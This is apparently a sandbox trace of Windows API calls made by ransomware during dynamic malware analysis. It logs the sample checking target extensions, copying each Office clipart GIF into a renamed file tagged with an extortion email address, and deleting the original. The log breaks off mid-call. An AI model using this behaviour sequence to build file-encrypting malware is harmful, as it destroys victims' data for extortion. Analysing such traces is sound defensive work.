[0149.320] lstrlenW (lpString=".ppt") returned 4 [0149.320] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.320] lstrlenW (lpString=".zip") returned 4 [0149.320] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.320] lstrlenW (lpString=".rar") returned 4 [0149.320] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.320] lstrlenW (lpString=".bz2") returned 4 [0149.320] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.320] lstrlenW (lpString=".7z") returned 3 [0149.320] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.320] lstrlenW (lpString=".dbf") returned 4 [0149.320] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.320] lstrlenW (lpString=".1cd") returned 4 [0149.320] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.320] lstrlenW (lpString=".jpg") returned 4 [0149.320] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.320] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0149.320] lstrlenW (lpString="AG00154_.GIF") returned 12 [0149.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0149.321] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=5315) returned 1 [0149.321] CloseHandle (hObject=0x1084) returned 1 [0149.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0149.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0149.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0149.321] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.321] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0149.321] GetLastError () returned 0x0 [0149.322] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x14c3, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0149.379] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.379] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.379] SetEndOfFile (hFile=0x1088) returned 1 [0149.379] CloseHandle (hObject=0x1088) returned 1 [0149.381] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.381] SetEndOfFile (hFile=0x1084) returned 1 [0149.382] CloseHandle (hObject=0x1084) returned 1 [0149.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0149.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0149.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.421] lstrlenW (lpString=".doc") returned 4 [0149.421] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.421] lstrlenW (lpString=".docx") returned 5 [0149.421] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.421] lstrlenW (lpString=".pdf") returned 4 [0149.421] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.421] lstrlenW (lpString=".xls") returned 4 [0149.421] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.421] lstrlenW (lpString=".xlsx") returned 5 [0149.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.421] lstrlenW (lpString=".ppt") returned 4 [0149.421] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.421] lstrlenW (lpString=".zip") returned 4 [0149.421] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.421] lstrlenW (lpString=".rar") returned 4 [0149.421] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.421] lstrlenW (lpString=".bz2") returned 4 [0149.421] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.421] lstrlenW (lpString=".7z") returned 3 [0149.421] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.422] lstrlenW (lpString=".dbf") returned 4 [0149.422] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.422] lstrlenW (lpString=".1cd") returned 4 [0149.422] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.422] lstrlenW (lpString=".jpg") returned 4 [0149.422] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.422] lstrlenW (lpString=".doc") returned 4 [0149.422] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.422] lstrlenW (lpString=".docx") returned 5 [0149.422] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.422] lstrlenW (lpString=".pdf") returned 4 [0149.422] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.422] lstrlenW (lpString=".xls") returned 4 [0149.422] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.422] lstrlenW (lpString=".xlsx") returned 5 [0149.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.422] lstrlenW (lpString=".ppt") returned 4 [0149.422] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.422] lstrlenW (lpString=".zip") returned 4 [0149.422] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.422] lstrlenW (lpString=".rar") returned 4 [0149.422] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.422] lstrlenW (lpString=".bz2") returned 4 [0149.423] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.423] lstrlenW (lpString=".7z") returned 3 [0149.423] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.423] lstrlenW (lpString=".dbf") returned 4 [0149.423] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.423] lstrlenW (lpString=".1cd") returned 4 [0149.423] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0149.423] lstrlenW (lpString=".jpg") returned 4 [0149.423] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.423] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0149.423] lstrlenW (lpString="AG00158_.GIF") returned 12 [0149.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0149.432] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=5030) returned 1 [0149.432] CloseHandle (hObject=0x10cc) returned 1 [0149.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0149.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0149.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0149.432] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.432] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0149.442] GetLastError () returned 0x0 [0149.442] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x13a6, lpOverlapped=0x0) returned 1 [0150.027] WriteFile (in: hFile=0x10d8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13b0, lpOverlapped=0x0) returned 1 [0150.028] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.028] WriteFile (in: hFile=0x10d8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.028] SetEndOfFile (hFile=0x10d8) returned 1 [0150.029] CloseHandle (hObject=0x10d8) returned 1 [0150.033] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.033] SetEndOfFile (hFile=0x10cc) returned 1 [0150.034] CloseHandle (hObject=0x10cc) returned 1 [0150.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0150.035] lstrlenW (lpString=".doc") returned 4 [0150.035] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.035] lstrlenW (lpString=".docx") returned 5 [0150.035] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.035] lstrlenW (lpString=".pdf") returned 4 [0150.035] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.035] lstrlenW (lpString=".xls") returned 4 [0150.035] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.035] lstrlenW (lpString=".xlsx") returned 5 [0150.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.035] lstrlenW (lpString=".ppt") returned 4 [0150.035] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0150.035] lstrlenW (lpString=".zip") returned 4 [0150.035] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.035] lstrlenW (lpString=".rar") returned 4 [0150.035] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.035] lstrlenW (lpString=".bz2") returned 4 [0150.035] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.035] lstrlenW (lpString=".7z") returned 3 [0150.035] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0150.035] lstrlenW (lpString=".dbf") returned 4 [0150.035] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0150.036] lstrlenW (lpString=".1cd") returned 4 [0150.036] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0150.036] lstrlenW (lpString=".jpg") returned 4 [0150.036] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.051] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.051] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0150.055] GetLastError () returned 0x0 [0150.055] ReadFile (in: hFile=0x10ec, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0150.090] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1da0, lpOverlapped=0x0) returned 1 [0150.091] ReadFile (in: hFile=0x10ec, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.091] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.091] SetEndOfFile (hFile=0x108c) returned 1 [0150.096] CloseHandle (hObject=0x108c) returned 1 [0150.099] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.099] SetEndOfFile (hFile=0x10ec) returned 1 [0150.110] CloseHandle (hObject=0x10ec) returned 1 [0150.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0150.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0150.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0150.113] lstrlenW (lpString=".doc") returned 4 [0150.114] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.114] lstrlenW (lpString=".docx") returned 5 [0150.114] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.114] lstrlenW (lpString=".pdf") returned 4 [0150.114] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.114] lstrlenW (lpString=".xls") returned 4 [0150.114] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.114] lstrlenW (lpString=".xlsx") returned 5 [0150.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.114] lstrlenW (lpString=".ppt") returned 4 [0150.114] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0150.114] lstrlenW (lpString=".zip") returned 4 [0150.114] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.114] lstrlenW (lpString=".rar") returned 4 [0150.114] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.114] lstrlenW (lpString=".bz2") returned 4 [0150.114] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.114] lstrlenW (lpString=".7z") returned 3 [0150.114] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0150.114] lstrlenW (lpString=".dbf") returned 4 [0150.114] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0150.114] lstrlenW (lpString=".1cd") returned 4 [0150.114] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0150.115] lstrlenW (lpString=".jpg") returned 4 [0150.115] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.118] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.118] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0150.123] GetLastError () returned 0x0 [0150.123] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x2420, lpOverlapped=0x0) returned 1 [0150.125] WriteFile (in: hFile=0x10cc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x2430, lpOverlapped=0x0) returned 1 [0150.126] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.126] WriteFile (in: hFile=0x10cc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.126] SetEndOfFile (hFile=0x10cc) returned 1 [0150.126] CloseHandle (hObject=0x10cc) returned 1 [0150.127] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.127] SetEndOfFile (hFile=0x108c) returned 1 [0150.129] CloseHandle (hObject=0x108c) returned 1 [0150.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0150.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0150.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0150.130] lstrlenW (lpString=".doc") returned 4 [0150.130] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.130] lstrlenW (lpString=".docx") returned 5 [0150.130] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.130] lstrlenW (lpString=".pdf") returned 4 [0150.130] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.130] lstrlenW (lpString=".xls") returned 4 [0150.130] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.130] lstrlenW (lpString=".xlsx") returned 5 [0150.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.130] lstrlenW (lpString=".ppt") returned 4 [0150.130] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0150.130] lstrlenW (lpString=".zip") returned 4 [0150.130] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.130] lstrlenW (lpString=".rar") returned 4 [0150.130] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.130] lstrlenW (lpString=".bz2") returned 4 [0150.130] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.130] lstrlenW (lpString=".7z") returned 3 [0150.130] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0150.130] lstrlenW (lpString=".dbf") returned 4 [0150.131] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0150.131] lstrlenW (lpString=".1cd") returned 4 [0150.131] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0150.131] lstrlenW (lpString=".jpg") returned 4 [0150.131] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.131] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: 